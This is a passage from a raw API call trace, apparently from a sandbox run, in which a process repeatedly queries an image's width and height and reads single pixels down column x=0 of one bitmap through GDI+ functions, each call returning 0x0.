(image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=119, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=120, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=121, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=122, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=123, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=124, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=125, color=0x636e0f0) returned 0x0 [0224.977] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.977] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.977] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=126, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=127, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=128, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=129, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=130, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=131, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=132, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=133, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=134, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=135, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.978] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=136, color=0x636e0f0) returned 0x0 [0224.978] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.978] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=137, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=138, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=139, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=140, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=141, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=142, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=143, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=144, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=145, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=146, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=147, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.979] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.979] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=148, color=0x636e0f0) returned 0x0 [0224.979] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=149, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=150, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=151, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=152, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=153, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=154, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=155, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=156, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=157, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=158, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=159, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.980] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=160, color=0x636e0f0) returned 0x0 [0224.980] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.980] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=161, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=162, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=163, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=164, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=165, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=166, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=167, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=168, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=169, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=170, color=0x636e0f0) returned 0x0 [0224.981] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.981] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.981] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=171, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=172, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=173, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=174, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=175, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=176, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=177, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=178, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=179, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=180, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.982] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.982] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=181, color=0x636e0f0) returned 0x0 [0224.982] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=182, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=183, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=184, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=185, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=186, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=187, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=188, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=189, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=190, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=191, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=192, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.983] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.983] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=193, color=0x636e0f0) returned 0x0 [0224.983] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=194, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=195, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=196, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=197, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=198, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=199, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=200, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=201, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=202, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=203, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=204, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.984] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.984] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=205, color=0x636e0f0) returned 0x0 [0224.984] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=206, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=207, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=208, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=209, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=210, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=211, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=212, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=213, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=214, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=215, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=216, color=0x636e0f0) returned 0x0 [0224.985] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.985] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.985] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=217, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=218, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=219, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=220, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, height=0x636e0e0) returned 0x0 [0224.986] GdipBitmapGetPixel (bitmap=0x4d97af8, x=0, y=221, color=0x636e0f0) returned 0x0 [0224.986] GdipGetImageWidth (image=0x4d97af8, width=0x636e0e0) returned 0x0 [0224.986] GdipGetImageHeight (image=0x4d97af8, 